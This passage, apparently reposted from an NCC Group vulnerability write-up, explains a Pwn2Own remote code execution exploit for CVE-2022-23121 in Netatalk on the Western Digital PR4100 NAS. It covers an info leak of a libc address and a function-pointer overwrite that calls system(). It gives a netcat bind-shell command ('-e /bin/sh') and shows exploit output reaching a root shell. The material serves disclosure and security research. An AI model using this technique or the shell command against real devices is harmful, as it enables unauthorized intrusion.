原文始发于Nccgroup(Alex Plaskett):Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121)
buf += sizeof( temp ); temp = htonl(ADEDOFF_FINDERI_OSX); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl(ADEDLEN_FINDERI); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI); /* rfork */ temp = htonl( EID_DISK(ADEID_RFORK) ); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl(ADEDOFF_RFORK_OSX); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl( ad->ad_rlen); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); return AD_DATASZ_OSX; }
But if we look at the memcpy()
argument in the debugger, we notice that the source argument is actually referenced from the stack and out of bound:
memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
(gdb) info proc mappings
...
Start Addr End Addr Size Offset objfile
0x7fffa4923000 0x7fffa4969000 0x46000 0x0 [stack]
0x7fffa49f9000 0x7fffa49fc000 0x3000 0x0 [vvar]
0x7fffa49fc000 0x7fffa49fe000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
If you look at the ad_header_read_osx()
code previously mentioned, you’ll notice it is confirmed since there is a struct adouble adosx;
local variable (hence stored on the stack) that is passed all the way to ad_rebuild_adouble_header_osx()
.
So what does it mean? Well, the memcpy()
writes 32 bytes from a stack controlled offset into the memory mapped file region. This means we can make it write arbitrary memory back into the file on disk. Then we can read the fork file (stored in the AppleDouble file format) using SMB and we can leak that content back to us.
That’s nice, but is there any libc.so
address stored on the stack since we want to call system()
which resides in libc.so
?
It turns out there is one such address since main()
is called from __libc_start_main()
:
.text:0000000000023FB0 __libc_start_main proc near
...
.text:0000000000024099 call rax ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B: ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B mov edi, eax
.text:000000000002409D call __GI_exit
Wrapping up
By default on the Western Digital PR4100, we can read and write files both in AFP and SMB without requiring authentication, as long as we do it on the Public
share.
We also know that an afpd
child process is forked from the afpd
parent process to handle every client connection. This means that every child process has the same randomisation for all already loaded libraries.
To trigger the vulnerability, we need that a mooncake
regular file exists, as well as a careful crafted associated ._mooncake
fork file in the same directory. Then we can call the “FPOpenFork” command over AFP on the mooncake
file and it parses the ._mooncake
fork file (stored in the AppleDouble file format). It ends up calling the ad_convert_osx()
function which is responsible for converting the Apple’s AppleDouble file to a simplified version implemented in Netatalk.
So we first start by creating the mooncake
file. We do it using AFP but we think we could have done it using SMB too. Then we want to trigger the vulnerability twice.
The first time, we craft the ._mooncake
fork file to abuse the memcpy()
in ad_rebuild_adouble_header_osx()
. When triggering the vulnerability:
- The
._mooncake
original fork file is mapped in memory withmmap()
- The
memcpy()
function writes the return address in__libc_start_main()
into the mapped region - The
munmap()
function is called and that data is saved into the._mooncake
fork file on disk. - We can leak that data back to us by reading the
._mooncake
fork file over SMB (as if it was a regular file)
This allows deducing the libc.so
base address and computing the system()
address.
The second time, we craft the ._mooncake
fork file to abuse the memmove()
in ad_convert_osx()
. When triggering the vulnerability:
- The
._mooncake
original fork file is mapped in memory withmmap()
- The
memmove()
function overwrites theld.so
.data
section to corrupt thertld_local._dl_rtld_lock_recursive
function pointer with thesystem()
address and thertld_local._dl_load_lock
data with the shell command to execute - The
memcpy()
function crashes due to an invalid access to an unmapped stack address - The exception handler registered in Netatalk calls into
dl_open()
which makes it callsystem()
on our arbitrary shell command
We chose to preliminary drop a statically compiled netcat
using SMB and execute it from the following path: /mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh
.
Below is the exploit in action:
# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg
Pwn2Own Note
Whilst using the exploit within the competition, the exploit failed on the first attempt during the leak phase. We guessed that this may have been a timing issue with the environment compared to our test environment. Therefore we modified the code to introduce a ‘sleep()’ before leaking to ensure that samba would return the data modified by vulnerable AFP code. Our second attempt got the leak working but failed when trying to connect over telnet, so we added another ‘sleep()’ before connecting over telnet to ensure that the ‘system()’ command was executed correctly. Luckily this worked and this shows that just adding more sleeps is enough to fix unreliable exploits and we were successful on our third and final attempt
转载请注明:Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121) | CTF导航